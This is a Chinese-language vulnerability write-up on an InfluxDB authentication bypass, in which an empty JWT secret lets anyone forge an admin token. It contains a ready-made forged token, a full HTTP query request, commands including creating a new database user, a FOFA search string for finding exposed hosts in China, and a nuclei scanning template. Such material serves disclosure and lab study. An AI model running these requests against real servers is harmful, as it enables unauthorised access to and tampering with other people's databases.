0x01 漏洞描述
InfluxDB是一个由InfluxData开发的开源时序型数据库,专注于海量时序数据的高性能读、高性能写、高效存储与实时分析等,在DB-Engines Ranking时序型数据库排行榜上排名第一,广泛应用于DevOps监控、IoT监控、实时分析等场景。其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
影响版本:Influxdb < 1.7.6
安装后访问:http://ip:8086/debug/vars
执行数据库查询指令,返回结果为401未授权。
0x02 漏洞复现
借助https://jwt.io/来生成jwt token:
其中,admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,需要设置为一个未来的时间戳,secret处为空。
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1648463601
}
在HTTP头加上Authorization字段和Content-Type字段,最后payload如下:
POST /query HTTP/1.1
Host: ip:8086
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQ4NDYzNjAxfQ.pzMIrII9Opks2ZsbzhCdRSesHHWE_RAahYDKnM0Trjk
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 22
db=sample&q=show+users
InfluxDB API 默认有以下 4 个 endpoint:
/debug/requests?seconds=10 查看 10 秒内谁在操作 InfluxDB 数据库,可以通过泄露的数据,发现更多和目标有关联的地址。
/ping 用来检查 数据库实例状态和版本号
/query 用来查询数据库数据
/write 用来更改数据库数据
主要就是利用 query 和 write 来操作数据库的数据, 基础语法:
- SHOW USERS // 查看当前所有的数据库用户
- SHOW DATABASES // 查看所有的数据库
- SHOW MEASUREMENTS // 查询当前数据库中含有的表
- SHOW FIELD KEYS // 查看当前数据库所有表的字段
- CREATE USER LandGrey WITH PASSWORD ‘LandGrey’ // 创建 LandGrey:LandGrey 数据库用户
0x03 漏洞发现
Web 操作界面默认运行在 localhost 8083 端口
HTTP API 接口默认运行在 localhost 8086 端口
扫描默认的 8083 或者 8086 端口
8086端口 HTTP API 的 X-Influxdb-Version 标志头
影响版本 InfluxDB < 1.7.6 的版本。
fofa语法:header=”X-Influxdb-Version:” && country=”CN”
nuclei模板:
id: default-secret-unauthenticated-influxdb
info:
name: Default Secret Unauthentication InfluxDB Detection
author: pussycat0x,kemoon
severity: high
metadata:
shodan-dork: InfluxDB
tags: unauth,db,influxdb,misconfig
requests:
- method: GET
path:
- "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"
headers:
Authorization: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQ4NDYzNjAxfQ.pzMIrII9Opks2ZsbzhCdRSesHHWE_RAahYDKnM0Trjk"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"results":'
- '"name":"databases"'
condition: and
- type: status
status:
- 200
0x04 修复建议
升级到最新版本。
参考链接:
[1] http://www.hackdig.com/12/hack-240165.htm
[2] https://vulhub.org/#/environments/influxdb/unacc/